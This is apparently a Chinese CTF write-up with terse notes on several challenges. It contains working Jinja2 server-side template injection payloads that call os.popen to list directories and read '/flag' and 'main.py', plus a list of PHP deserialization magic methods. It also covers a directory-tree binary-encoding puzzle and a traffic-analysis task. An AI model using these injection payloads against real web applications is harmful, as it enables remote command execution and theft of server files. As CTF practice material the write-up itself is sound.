赞
踩
SSTI,即服务端模板注入,起因是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,从而导致各种各样的问题,与sql注入类似
名字就是考点
?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
与前一题一样
?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
SSTI 命令执行的一些总结
ctf中的一些绕过tips
SSTI模板注入绕过(进阶篇)
探测目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}
一个个捕获
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat main.py').read()") }}{% endif %}{% endfor %}
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
将http全部保存下来,在最后一个包发现这个
`-- New\ folder |-- New\ folder | |-- New\ folder | |-- New\ folder\ (2) | |-- New\ folder\ (3) | `-- New\ folder\ (4) `-- New\ folder\ (2) |-- New\ Folder\ (3) | |-- New\ folder | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | | `-- New\ folder | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | | `-- New\ folder | | |-- New\ folder(3) | | | `-- New\ folder | | `-- New\ folder(4) | |-- New\ folder(10) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | | `-- New\ folder | | |-- New\ folder(2) | | |-- New\ folder(3) | | `-- New\ folder(4) | | `-- New\ folder | |-- New\ folder(11) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | |-- New\ folder(3) | | `-- New\ folder(4) | |-- New\ folder(12) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | |-- New\ folder(3) | | | `-- New\ folder | | `-- New\ folder(4) | | `-- New\ folder | |-- New\ folder(13) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | | `-- New\ folder | | |-- New\ folder(2) | | |-- New\ folder(3) | | `-- New\ folder(4) | |-- New\ folder(14) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | | `-- New\ folder | | |-- New\ folder(3) | | | `-- New\ folder | | `-- New\ folder(4) | | `-- New\ folder | |-- New\ folder(15) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | | `-- New\ folder | | |-- New\ folder(2) | | |-- New\ folder(3) | | `-- New\ folder(4) | | `-- New\ folder | |-- New\ folder(16) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | | `-- New\ folder | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | | `-- New\ folder | | |-- New\ folder(3) | | `-- New\ folder(4) | |-- New\ folder(17) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | | `-- New\ folder | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | | `-- New\ folder | | |-- New\ folder(3) | | | `-- New\ folder | | `-- New\ folder(4) | |-- New\ folder(18) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | | `-- New\ folder | | |-- New\ folder(3) | | `-- New\ folder(4) | | `-- New\ folder | |-- New\ folder(19) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | | `-- New\ folder | | |-- New\ folder(3) | | | `-- New\ folder | | `-- New\ folder(4) | | `-- New\ folder | |-- New\ folder(2) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | | `-- New\ folder | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | `-- New\ folder(2) | | |-- New\ folder | | | `-- New\ folder | | |-- New\ folder(2) | | | `-- New\ folder | | |-- New\ folder(3) | | | `-- New\ folder | | `-- New\ folder(4) | |-- New\ folder(20) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | | `-- New\ folder | | |-- New\ folder(3) | | `-- New\ folder(4) | | `-- New\ folder | |-- New\ folder(21) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | |-- New\ folder(3) | | `-- New\ folder(4) | |-- New\ folder(22) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | |-- New\ folder(3) | | | `-- New\ folder | | `-- New\ folder(4) | | `-- New\ folder | |-- New\ folder(23) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | | `-- New\ folder | | |-- New\ folder(2) | | |-- New\ folder(3) | | `-- New\ folder(4) | |-- New\ folder(24) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | | `-- New\ folder | | |-- New\ folder(3) | | | `-- New\ folder | | `-- New\ folder(4) | | `-- New\ folder | |-- New\ folder(25) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | | `-- New\ folder | | |-- New\ folder(2) | | |-- New\ folder(3) | | `-- New\ folder(4) | | `-- New\ folder | |-- New\ folder(26) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | | `-- New\ folder | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | |-- New\ folder(3) | | | `-- New\ folder | | `-- New\ folder(4) | |-- New\ folder(27) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | | `-- New\ folder | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | |-- New\ folder(3) | | | `-- New\ folder | | `-- New\ folder(4) | | `-- New\ folder | |-- New\ folder(28) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | | `-- New\ folder | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | | `-- New\ folder | | |-- New\ folder(3) | | `-- New\ folder(4) | |-- New\ folder(29) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | | `-- New\ folder | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | | `-- New\ folder | | |-- New\ folder(3) | | | `-- New\ folder | | `-- New\ folder(4) | |-- New\ folder(3) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | | `-- New\ folder | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | |-- New\ folder(3) | | | `-- New\ folder | | `-- New\ folder(4) | | `-- New\ folder | |-- New\ folder(30) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | |-- New\ folder(3) | | `-- New\ folder(4) | | `-- New\ folder | |-- New\ folder(31) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | | `-- New\ folder | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | | `-- New\ folder | | |-- New\ folder(3) | | `-- New\ folder(4) | | `-- New\ folder | |-- New\ folder(32) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | | `-- New\ folder | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | | `-- New\ folder | | |-- New\ folder(3) | | | `-- New\ folder | | `-- New\ folder(4) | |-- New\ folder(33) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | | `-- New\ folder | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | |-- New\ folder(3) | | | `-- New\ folder | | `-- New\ folder(4) | | `-- New\ folder | |-- New\ folder(34) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | |-- New\ folder(3) | | `-- New\ folder(4) | | `-- New\ folder | |-- New\ folder(35) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | | `-- New\ folder | | |-- New\ folder(3) | | `-- New\ folder(4) | |-- New\ folder(36) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | |-- New\ folder(3) | | `-- New\ folder(4) | | `-- New\ folder | |-- New\ folder(37) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | | `-- New\ folder | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | | `-- New\ folder | | |-- New\ folder(3) | | | `-- New\ folder | | `-- New\ folder(4) | |-- New\ folder(38) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | | `-- New\ folder | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | | `-- New\ folder | | |-- New\ folder(3) | | `-- New\ folder(4) | | `-- New\ folder | |-- New\ folder(39) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | | `-- New\ folder | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | | `-- New\ folder | | |-- New\ folder(2) | | | `-- New\ folder | | |-- New\ folder(3) | | `-- New\ folder(4) | | `-- New\ folder | |-- New\ folder(4) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | | `-- New\ folder | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | | `-- New\ folder | | |-- New\ folder(3) | | `-- New\ folder(4) | |-- New\ folder(5) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | | `-- New\ folder | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | | `-- New\ folder | | |-- New\ folder(3) | | | `-- New\ folder | | `-- New\ folder(4) | |-- New\ folder(6) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | | `-- New\ folder | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | | `-- New\ folder | | |-- New\ folder(2) | | |-- New\ folder(3) | | | `-- New\ folder | | `-- New\ folder(4) | | `-- New\ folder | |-- New\ folder(7) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | | `-- New\ folder | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | | `-- New\ folder | | |-- New\ folder(3) | | `-- New\ folder(4) | |-- New\ folder(8) | | |-- New\ folder | | | |-- New\ folder | | | |-- New\ folder(2) | | | |-- New\ folder(3) | | | | `-- New\ folder | | | `-- New\ folder(4) | | | `-- New\ folder | | `-- New\ folder(2) | | |-- New\ folder | | |-- New\ folder(2) | | |-- New\ folder(3) | | | `-- New\ folder | | `-- New\ folder(4) | `-- New\ folder(9) | |-- New\ folder | | |-- New\ folder | | |-- New\ folder(2) | | |-- New\ folder(3) | | | `-- New\ folder | | `-- New\ folder(4) | | `-- New\ folder | `-- New\ folder(2) | |-- New\ folder | |-- New\ folder(2) | |-- New\ folder(3) | | `-- New\ folder | `-- New\ folder(4) | `-- New\ folder |-- New\ folder | |-- New\ folder | |-- New\ folder\ (2) | |-- New\ folder\ (3) | |-- New\ folder\ (4) | `-- New\ folder\ (5) `-- New\ folder\ (2) |-- New\ folder `-- New\ folder\ (2)
可以看到,第8行-第572行后面都是四个四个,排列比较整齐。那我们假设有子文件的为1,没子文件的为0。最后二进制转字符
源码里有一串编码
转十六进制解不出来,那就试试url编码,将\x转换成%
在转为ascii编码,得到flag
被劫持的神秘礼物
导出http,翻看文件
MD532位小写加密一下得到flag
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。